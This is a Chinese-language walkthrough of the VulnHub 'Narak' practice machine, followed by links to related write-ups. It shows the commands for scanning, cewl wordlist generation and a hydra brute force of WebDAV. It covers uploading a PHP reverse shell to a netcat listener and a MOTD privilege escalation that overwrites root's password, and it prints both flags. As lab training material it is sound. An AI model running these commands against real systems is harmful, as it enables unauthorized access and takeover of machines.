VulnHub-Narak

Description

Narak is the Hindu equivalent of Hell. You are in the pit with the Lord of Hell himself. Can you use your hacking skills to get out of the Narak? Burning walls and demons are around every corner even your trusty tools will betray you on this quest. Trust no one. Just remember the ultimate mantra to escape Narak “Enumeration”. After getting the root you will indeed agree “Hell ain’t a bad place to be”.

Objective: Find 2 flags (user.txt and root.txt)

探测靶机

nmap  192.168.157.0/24

路径扫描

点击网页底部的 Do Not Click

既然有/images/666.jpg?,那么就扫一下路径,得到 /webdav

webdav是一种基于 HTTP 1.1协议的通信协议

dirsearch -u 192.168.157.140

定制字典

尝试访问后发现需要账户密码,用cewl工具爬取爆破字典

爬虫会根据指定的URL深度进行爬取,然后打印出可用于密码破解的字典

cewl http://192.168.157.140 -w dict.txt

爆破账户密码

尝试用hydra爆破

hydra -L dict.txt -P dict.txt 192.168.157.140 http-get /webdav

成功获取账户密码登入

上传shell

这里需要上传一个shell,使用工具 Cadaver

Cadaver是一个用来浏览和修改WebDAV共享的Linux、Unix命令行程序

可以利用 put 命令上传

cp /usr/share/webshells/php/php-reverse-shell.php .         #将kali自带反弹shell文件拷贝到当前目录
vim php-reverse-shell.php #编辑这个文件,将ip改为kali的ip 端口改为kali的端口

先启用监听4444端口:

nc -lnvp 4444

我这里将文件名重命名为 shell.php

上传成功后,访问网站

www-data权限已经拿到。而且我们现在的用户是yamdoot

信息收集

执行python命令,使命令行变成交互式

python3 -c "import pty;pty.spawn('/bin/bash')"           #升级优化一下shell

这里是www-data用户

www-data用户没有su权限。www-data是Ubuntu中运行Web服务的默认用户,权限较低。

find / -type f -user root -perm -ug=x,o=w -exec ls -l '{}' \; 2>/dev/null

命令解释:

从根目录下开始查找 文件类型 属主是root 普通用户或组可执行 其他用户可写

如果发现了符合条件的用 ls -l命令显示 错误信息从定向到null

在/mnt文件夹里面有一个hell.sh文件,里面放着一串brianfuck编码

解码得到 chitragupt ,猜测是某用户的密码,查看所有用户,依次尝试登录

inferno 用户登录成功,那么用ssh连接

motd提权

提权前,在此权限下也能得到第一个flag:Flag{5f95bf06ce19af69bfa5e53f797ce6e2}

这里可以使用 motd提权

motd是message of the day这句话的缩写,我们通过ssh登录成功后看到的那些欢迎和提示的信息都是motd目录下存放的这些sh脚本所提供的。

我们通过ssh登录成功的时候,这些sh脚本会以root权限运行输出那些欢迎信息和日期等等,并且我们当前这个用户对这些文件可读可写,那么提权思路就有了,我们可以通过在这些sh脚本中写入一个修改root用户密码的命令,这样当我们通过ssh用户登录到inferno这个账号上的时候,我们这些motd的sh脚本就会被以root用户的权限执行,这时候我们写入的修改root用户密码的命令也会被执行,之后我们只需要切换到root用户即可完成提权。

echo "echo 'root:1234' | chpasswd">>/etc/update-motd.d/00-header

退出ssh的连接,然后重新使用ssh登录,触发执行我们修改root用户的命令,接着只需要su到root用户即可提权成功

后续操作如下

inferno@ubuntu:~$ echo "echo 'root:1234' | chpasswd">>/etc/update-motd.d/00-header
inferno@ubuntu:~$ exit
logout
Connection to 192.168.157.140 closed. ┌──(kali㉿kali)-[~/桌面]
└─$ ssh inferno@192.168.157.140
inferno@192.168.157.140's password:
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-20-generic x86_64) * Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage New release '20.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it. Last login: Sun May 28 06:05:35 2023 from 192.168.157.131
inferno@ubuntu:~$ su root
Password:
root@ubuntu:/home/inferno# whoami
root
root@ubuntu:/home/inferno# find / -name 'root.txt'
/root/root.txt
root@ubuntu:/home/inferno# cat /root/root.txt
██████████████████████████████████████████████████████████████████████████████████████████
█░░░░░░██████████░░░░░░█░░░░░░░░░░░░░░█░░░░░░░░░░░░░░░░███░░░░░░░░░░░░░░█░░░░░░██░░░░░░░░█
█░░▄▀░░░░░░░░░░██░░▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀▄▀▄▀▄▀░░███░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀▄▀░░█
█░░▄▀▄▀▄▀▄▀▄▀░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░░░▄▀░░███░░▄▀░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░░░█
█░░▄▀░░░░░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░████░░▄▀░░███░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░███
█░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░░░▄▀░░███░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░▄▀░░███
█░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀▄▀▄▀▄▀░░███░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░███
█░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░▄▀░░░░███░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░▄▀░░███
█░░▄▀░░██░░▄▀░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█████░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░███
█░░▄▀░░██░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░░░░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░░░█
█░░▄▀░░██░░░░░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀▄▀░░█
█░░░░░░██████████░░░░░░█░░░░░░██░░░░░░█░░░░░░██░░░░░░░░░░█░░░░░░██░░░░░░█░░░░░░██░░░░░░░░█
██████████████████████████████████████████████████████████████████████████████████████████ Root Flag: {9440aee508b6215995219c58c8ba4b45} !! Congrats you have finished this task !! Contact us here: Hacking Articles : https://twitter.com/hackinarticles Jeenali Kothari : https://www.linkedin.com/in/jeenali-kothari/ +-+-+-+-+-+ +-+-+-+-+-+-+-+
|E|n|j|o|y| |H|A|C|K|I|N|G|
+-+-+-+-+-+ +-+-+-+-+-+-+-+
__________________________________

得到flag :Flag{9440aee508b6215995219c58c8ba4b45}

简单总结

学习了 cewl 、hydra 、Cadaver 工具的使用,初识 webdav ,很不错的入门靶机

VulnHub-Narak靶机渗透流程的更多相关文章

  1. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  2. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  3. Vulnhub JIS-CTF-VulnUpload靶机渗透

    配置问题解决 参考我的这篇文章https://www.cnblogs.com/A1oe/p/12571032.html更改网卡配置文件进行解决. 信息搜集 找到靶机 nmap -sP 192.168. ...

  4. Vulnhub webdeveloper靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.148 #综合扫描 访问一下发现是wordpress,wp直接上wpscan wpsc ...

  5. Vulnhub DC-8靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.146 #Enable OS detection, version detection ...

  6. Vulnhub DC-7靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.144 #端口扫描 查看robots.txt,看看admin,403,其他没有什么可利 ...

  7. Vulnhub DC-3靶机渗透

    修改错误配置 打开了ova文件会发现,怎么也找不到DC-3的ip地址,估计是网卡出了问题. 那么就先配置下网卡. 进入上面这个页面之前按e. 将这里的ro 替换为 rw signie init=/bi ...

  8. Vulnhub DC-5靶机渗透

    信息搜集 老样子,先找到靶机IP和扫描靶机 nmap -sP 192.168.146.0/24 #找靶机ip nmap -sS -Pn -A 192.168.146.141 #扫描端口 这次开的是80 ...

  9. Vulnhub DC-1靶机渗透

    简介 DC-1靶机是为了入门渗透测试的人准备的入门级的靶机,该靶机共有5个flag,其中最后一个finalflag是真的flag,其他都是提示性flag.这个靶机虽然简单,但是还是能学到一些基本的思路 ...

  10. Vulnhub -- DC2靶机渗透

    信息收集 nmap开始扫描 只开了80端口,直接打开ip地址发现无法打开网页,但是进行了域名的跳转 !这里发现了一个问题,其实还开了一个7744端口,但是使用-sV的方式是扫描不出来的,使用-p-后可 ...

随机推荐

  1. golang cron定时任务简单实现

    目录 星号(*) 斜线(/) 逗号(,) 连字符 (-) 问好 (?) 常用cron举例 使用说明 golang 实现定时服务很简单,只需要简单几步代码便可以完成,不需要配置繁琐的服务器,直接在代码中 ...

  2. C#.Net筑基-基础知识

    01.C#基础概念 1.1.C#简介 C# (读作C Sharp)是由微软公司开发的一种面向对象.类型安全.高效且简单的编程语言,最初于 2000 年发布,并随后成为 .NET 框架的一部分.所以学习 ...

  3. leaflet 使用turfjs实现前端自定义插值

    Turf.js官网地址:http://turfjs.org/ Turf.js中的几何数据组织规范以WKT格式为标准.其官网中包含了详细的接口介绍和样例讲解.这里我给出我们需要用的接口: 参考地址: h ...

  4. java 读取气象专业格式NetCDF文件

    一.NetCDF简介NetCDF全称为network Common Data Format( "网络通用数据格式"),是一个软件库与机器无关的数据格式,支持创建,访问基于数组的科研 ...

  5. Splashtop Business Access 的常见问题解答

    Splashtop Business Access 是一款优秀的远程访问软件,使个人和团队可以快速.简单.安全地访问远程计算机.Splashtop Business Access 是 LogMeIn ...

  6. AIRIOT物联网低代码平台如何配置Modbus TCP协议?

    AIRIOT物联网低代码平台稳定性超高,支持上百种驱动,各种主流驱动已在大型项目中通过验证,持续稳定运行. AIRIOT物联网低代码平台如何配置Modbus TCP协议?操作如下: AIRIOT与西门 ...

  7. 使用node压缩js

    先下载并安装Node 安装完成后打开cmd运行:node -v 运行:npm -v 确定node安装成功,然后安装uglifyjs,打开cmd输入下面命令: npm install uglify-js ...

  8. 开源一站式敏捷测试管理&极简项目管理 itest(爱测试) 6.6.0 发布 ,新增拖拽生成接口测试断言

    itest 简介 itest 开源敏捷测试管理,testOps 践行者,极简的任务管理,测试管理,缺陷管理,测试环境管理,接口测试5合1,又有丰富的统计分析.可按测试包分配测试用例执行,也可建测试迭代 ...

  9. 鼠标悬浮显示鼠标停留数据的内容 elementui + vue

    先看效果图 直接上代码 <el-tabs v-model="activeName" @tab-click="handleClick"> <el ...

  10. LNMP集群架构

    网站集群拆分 上一节我们是部署了单机的LNMP,再往下,要进行拆分了,无论是性能.还是安全性,都务必要拆分. 拆分的内容有 nginx集群 mysql nfs共享存储 等 拆分思路 情况1 当前的单机 ...